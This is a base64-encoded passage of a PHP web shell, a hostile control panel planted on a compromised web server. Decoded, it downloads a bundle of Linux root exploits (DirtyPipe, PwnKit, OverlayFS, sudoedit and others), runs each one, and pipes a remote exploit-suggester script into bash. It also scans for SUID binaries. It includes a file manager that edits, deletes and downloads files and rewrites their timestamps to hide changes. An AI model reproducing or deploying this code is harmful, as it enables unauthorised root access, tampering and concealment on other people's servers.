JCQllY2hvICINCgkJCTxkaXYgY2xhc3M9J3RleHQtY2VudGVyJz4NCgkJCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAgbWItMyc+DQoJCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSciLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiImaWRfdHdvPWF1dG9zY2FuJz48aSBjbGFzcz0nYmkgYmktYnVnJz48L2k+IEF1dG8gc2NhbjwvYT4NCgkJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9JyIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiZpZF90d289c2NhbnNkJz48aSBjbGFzcz0nYmkgYmktc2VhcmNoJz48L2k+IFNjYW4gU1VJRDwvYT4NCgkJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9JyIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiZpZF90d289ZXNnJz48aSBjbGFzcz0nYmkgYmktc2VhcmNoJz48L2k+IEV4cGxvaXQgc3VnZ2VzdGVyPC9hPg0KCQkJCTwvZGl2Pg0KCQkJPC9kaXY+IjtpZiAoISRHTE9CQUxTWydmdW5nc2knXVs1XSgicHJvY19vcGVuIikpIHsNCgkJCQllY2hvICI8Y2VudGVyIGNsYXNzPSdhbnUnPkNvbW1hbmQgaXMgRGlzYWJsZWQgITwvY2VudGVyPiI7DQoJCQl9DQoJCQlpZiAoIWlzX3dyaXRhYmxlKCRwYXRoKSkgew0KCQkJCWVjaG8gIjxjZW50ZXIgY2xhc3M9J2FudSc+Q3VycmVudCBEaXJlY3RvcnkgaXMgVW53cml0ZWFibGUgITwvY2VudGVyPiI7DQoJCQl9DQoJCQlpZiAoaXNzZXQoJF9HRVRbJ2lkX3R3byddKSAmJiAkX0dFVFsnaWRfdHdvJ10gPT0gImF1dG9zY2FuIikgew0KCQkJCWlmICghZmlsZV9leGlzdHMoJHBhdGguIi9yb290aW5nLyIpKSB7DQoJCQkJCW1rZGlyKCRwYXRoLiIvcm9vdGluZyIpOw0KCQkJCQlleGVfcm9vdCgid2dldCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGVrZXJwcm90enkvcm9vdHNoZWxsL21haW4vYXV0by50YXIuZ3oiLCAkcGF0aC4iL3Jvb3RpbmciKTsNCgkJCQkJZXhlX3Jvb3QoInRhciAteGYgYXV0by50YXIuZ3oiLCAkcGF0aC4iL3Jvb3RpbmciKTsNCgkJCQkJaWYgKCFmaWxlX2V4aXN0cygkcGF0aC4iL3Jvb3RpbmcvbmV0ZmlsdGVyIikpIHsNCgkJCQkJCWRpZSgiPGNlbnRlciBjbGFzcz0nYW51Jz5GYWlsZWQgdG8gRG93bmxvYWQgTWF0ZXJpYWwgITwvY2VudGVyPiIpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVjaG8gJw0KCQkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4NCgkJCQkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+DQoJCQkJCQk8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxjb2RlPk5ldGZpbHRlciA6ICcuZXhlX3Jvb3QoInRpbWVvdXQgMTAgLi9yb290aW5nL25ldGZpbHRlciIsICRwYXRoKS4nUHRyYWNlIDogJy5leGVfcm9vdCgiZWNobyBpZCB8IHRpbWVvdXQgMTAgLi9yb290aW5nL3B0cmFjZSIsICRwYXRoKS4nU2VxdW9pYSA6ICcuZXhlX3Jvb3QoInRpbWVvdXQgMTAgLi9yb290aW5nL3NlcXVvaWEiLCAkcGF0aCkuJ092ZXJsYXlGUyA6ICcuZXhlX3Jvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vb3ZlcmxheWZzIiwgJHBhdGguIi9yb290aW5nIikuJ0RpcnR5cGlwZSA6ICcuZXhlX3Jvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vcm9vdGluZy9kaXJ0eXBpcGUgL3Vzci9iaW4vc3UiLCAkcGF0aCkuJ1N1ZG8gOiAnLmV4ZV9yb290KCJlY2hvIDEyMzQ1IHwgdGltZW91dCAxMCBzdWRvZWRpdCAtcyBZIiwgJHBhdGgpLidQd25raXQgOiAnLmV4ZV9yb290KCJlY2hvIGlkIHwgdGltZW91dCAxMCAuL3B3bmtpdCIsICRwYXRoLiIvcm9vdGluZyIpLkBleGUoInJtIC1yZiAuL3Jvb3RpbmcgfCB0aW1lb3V0IDEwICIpLic8L2NvZGU+PC9wcmU+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZGl2Pic7DQoJCQl9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2lkX3R3byddKSAmJiAkX0dFVFsnaWRfdHdvJ10gPT0gInNjYW5zZCIpIHsNCgkJCQllY2hvICc8Y2VudGVyIGNsYXNzPSJhbnUiPlsrXSBTY2FubmluZyAuLi48L2NlbnRlcj4nOw0KCQkJCWVjaG8gJw0KCQkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4NCgkJCQkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+DQoJCQkJCQk8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxjb2RlPicuZXhlX3Jvb3QoImZpbmQgLyAtcGVybSAtdT1zIC10eXBlIGYgMj4vZGV2L251bGwiLCAkcGF0aCkuJzwvY29kZT48L3ByZT4NCgkJCQkJPC9kaXY+DQoJCQkJPC9kaXY+JzsNCgkJCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnaWRfdHdvJ10pICYmICRfR0VUWydpZF90d28nXSA9PSAiZXNnIikgew0KCQkJCWVjaG8gJzxjZW50ZXIgY2xhc3M9ImFudSI+WytdIExvYWRpbmcgLi4uPC9jZW50ZXI+JzsNCgkJCQllY2hvICcNCgkJCQk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+DQoJCQkJCTxkaXYgY2xhc3M9InNoZWxsIG1iLTMiPg0KCQkJCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT4nLmV4ZV9yb290KCJjdXJsIC1Mc2sgaHR0cDovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIvbWFzdGVyL2xpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyLnNoIHwgYmFzaCIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Rpdj4nOw0KCQkJfQ0KCQl9DQoJCS8vIG9wZW5maWxlDQoJCWlmKGlzc2V0KCRfN1snb3BuJ10pKSB7DQoJCQkkZmlsZSA9ICRfN1snb3BuJ107DQoJCX0NCgkJLy8gdmlldw0KCQlpZigkXzdbJ2FjdGlvbiddID09ICd2aWV3Jykgew0KCQlzKCk7DQoJCWVjaG8gIg0KCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj12aWV3Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1lZGl0Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1zcXVhcmUnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXVuemlwX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktZmlsZS16aXAtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dG91Y2hfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1jYWxlbmRhcic+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249cmVuYW1lJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1jaG1vZCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZG93bmxvYWQmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2E+DQoJCTwvZGl2Pg0KCQk8YnI+DQoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+OiZuYnNwOyIuYmFzZW5hbWUoJGZpbGUpLiINCgkJPC9icj4NCgkJPGRpdiBjbGFzcz0nYmctZGFyayc+DQoJCQk8ZGl2IGNsYXNzPSdjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCc+DQoJCQkJPHRleHRhcmVhIHJvd3M9JzE1JyBjbGFzcz0nZm9ybS1jb250cm9sJyBkaXNhYmxlZD0nJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGZ1bmdzaVswXSgkZmlsZSkpLiI8L3RleHRhcmVhPg0KCQkJPC9kaXY+DQoJCTwvZGl2PiI7DQoJCX0NCgkJLy8gRWRpdCBGaWxlDQoJCWlmKGlzc2V0KCRfN1snZWRpdF9maWxlJ10pKSB7DQoJCSR1cGR0ID0gZm9wZW4oIiRmaWxlIiwgInciKTsNCgkJJHJlc3VsdCA9IGZ3cml0ZSgkdXBkdCwgJF83Wydjb250ZW50cyddKTsJCQ0KCQkJaWYgKCRyZXN1bHQpIHsNCgkJZWNobyAnPHN0cm9uZz5FZGl0IGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsNCgkJCX1lbHNlew0KCQllY2hvICc8c3Ryb25nPkVkaXQgZmlsZTwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzwvZGl2Pic7fQ0KCQl9DQoJCWlmKCRfN1snYWN0aW9uJ10gPT0gJ2VkaXQnKSB7DQoJCXMoKTsNCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXZpZXcmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZXllLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWVkaXQmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktcGVuY2lsLXNxdWFyZSc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dW56aXBfZmlsZSZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj10b3VjaF9maWxlJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWNhbGVuZGFyJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1yZW5hbWUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWNobW9kJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtbG9jay1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1kZWxldGVfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1kb3dubG9hZCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1kb3dubG9hZCc+PC9pPjwvYT4NCgkJPC9kaXY+DQoJCTxicj4NCgkJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT46Jm5ic3A7Ii5iYXNlbmFtZSgkZmlsZSkuIg0KCQk8L2JyPg0KCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPScxNScgbmFtZT0nY29udGVudHMnICRfcj4iLmh0bWxzcGVjaWFsY2hhcnMoJGZ1bmdzaVswXSgkZmlsZSkpLiI8L3RleHRhcmVhPg0KCQkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4NCgkJCTxidXR0b24gY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1bWJpdCcgbmFtZT0nZWRpdF9maWxlJz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+DQoJCQk8L2Rpdj4NCgkJPC9mb3JtPiI7DQoJCX0NCgkJLy8gUmVuYW1lIEZpbGUNCgkJaWYoaXNzZXQoJF83WydyX2YnXSkpIHsNCgkJCSRvbGQgPSAkZmlsZTsNCgkJCSRuZXcgPSAkXzdbJ25ld19uYW1lJ107DQoJCQlyZW5hbWUoJG5ldywgJG9sZCk7DQoJCQlpZihmaWxlX2V4aXN0cygkbmV3KSkgew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC13YXJuaW5nIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+DQoJCQk8c3Ryb25nPlJlbmFtZSBmaWxlPC9zdHJvbmc+IG5hbWUgYWxyZWFkeSBpbiB1c2UhIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+DQoJCTwvZGl2Pic7DQoJCQl9ZWxzZXsNCgkJaWYocmVuYW1lKCRvbGQsICRuZXcpKSB7DQoJCWVjaG8gJzxzdHJvbmc+UmVuYW1lIGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsNCgkJCX1lbHNlew0KCQllY2hvICc8c3Ryb25nPlJlbmFtZSBmaWxlPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYoJF83WydhY3Rpb24nXSA9PSAncmVuYW1lJykgew0KCQlzKCk7DQoJCWVjaG8gIjxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXZpZXcmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZXllLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWVkaXQmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktcGVuY2lsLXNxdWFyZSc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dW56aXBfZmlsZSZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj10b3VjaF9maWxlJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWNhbGVuZGFyJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1yZW5hbWUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWNobW9kJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtbG9jay1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1kZWxldGVfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1kb3dubG9hZCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1kb3dubG9hZCc+PC9pPjwvYT4NCgkJPC9kaXY+DQoJCTxicj4NCgkJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT46Jm5ic3A7Ii5iYXNlbmFtZSgkZmlsZSkuIg0KCQk8L2JyPg0KCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPg0KCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nbmV3X25hbWUnIHZhbHVlPSciLmJhc2VuYW1lKCRmaWxlKS4iJyAkX3I+DQoJCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0JyBuYW1lPSdyX2YnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4NCgkJCTwvZGl2Pg0KCQk8L2Zvcm0+IjsNCgkJfQ0KCQkvLyBVbnppcA0KCQlpZiAoJF83WydhY3Rpb24nXSA9PSAndW56aXBfZmlsZScpIHsNCgkJcygpOw0KCQlpZiAoJF83Wyd5ZWFoeCddKSB7DQogICAgICAgICR6aXBGaWxlID0gJGZpbGU7DQogICAgICAgICRleHRyYWN0VG8gPSAkR0xPQkFMU1snZnVuZ3NpJ11bN10oKTsNCiAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgIGlmICgkemlwLT5vcGVuKCR6aXBGaWxlKSA9PT0gdHJ1ZSkgew0KICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRleHRyYWN0VG8pOw0KICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgIGVjaG8gJzxzdHJvbmc+VW56aXAgZmlsZTwvc3Ryb25nPiBvayEgJyAuIG9rKCkgLiAnPC9kaXY+JzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gJzxzdHJvbmc+VW56aXAgZmlsZTwvc3Ryb25nPiBmYWlsISAnIC4gZXIoKSAuICc8L2Rpdj4nOw0KICAgICAgICB9DQoJCX0NCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCBtYi0zJz4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dmlldyZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1leWUtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZWRpdCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj11bnppcF9maWxlJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtemlwLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXRvdWNoX2ZpbGUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktY2FsZW5kYXInPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXJlbmFtZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249Y2htb2Qmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZmlsZS1sb2NrLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWRlbGV0ZV9maWxlJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWRvd25sb2FkJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWRvd25sb2FkJz48L2k+PC9hPg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0nY2FyZCBjYXJkLWJvZHkgdGV4dC1kYXJrIGlucHV0LWdyb3VwIG1iLTMnPg0KCQkJPHA+QXJlIHlvdSBzdXJlIHRvIHVuemlwIDogIiAuIGJhc2VuYW1lKCRmaWxlKSAuICIgPzwvcD4NCgkJCTxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayBidG4tc20nIGhyZWY9Jz9kaXI9IiAuIGhleCgkZGlyKSAuICInPk5vPC9hPg0KCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3llYWh4JyBjbGFzcz0nYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayBidG4tc20nIHZhbHVlPSdZZXMnPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iOw0KCQl9DQoJCS8vIFRvdWNoIEZpbGUNCgkJaWYgKCRfN1snYWN0aW9uJ10gPT0gJ3RvdWNoX2ZpbGUnKSB7DQoJCXMoKTsNCgkJJGZpbGVUaW1lc3RhbXAgPSBkYXRlKCdkLW0tWSBIOmk6cycsIGZpbGVtdGltZSgkZmlsZSkpOw0KCQlpZiAoJF83Wyd5ZWFoeCddKSB7DQoJCQkkb2xkID0gJGZpbGU7DQoJCQkkbmV3ID0gJF9QT1NUWyduZXdfdG91Y2gnXTsNCgkJCWlmIChzdHJ0b3RpbWUoJG5ldykgIT09IGZhbHNlKSB7DQoJCQkJaWYgKHRvdWNoKCRvbGQsIHN0cnRvdGltZSgkbmV3KSkpIHsNCgkJCQkJZWNobyAnPHN0cm9uZz5Ub3VjaCBmaWxlPC9zdHJvbmc+IG9rISAnIC4gb2soKSAuICc8L2Rpdj4nOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gJzxzdHJvbmc+VG91Y2ggZmlsZTwvc3Ryb25nPiBmYWlsISAnIC4gZXIoKSAuICc8L2Rpdj4nOw0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtd2FybmluZyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPg0KCQkJCQkJPHN0cm9uZz5Ub3VjaCBmaWxlPC9zdHJvbmc+IGludmFsaWQgdGltZXN0YW1wIGZvcm1hdCEgDQoJCQkJCQk8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJhbGVydCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPg0KCQkJCQk8L2Rpdj4nOw0KCQkJfQ0KCQl9DQoJCWVjaG8gIg0KCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAgbWItMyc+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXZpZXcmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZXllLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWVkaXQmb3BuPSR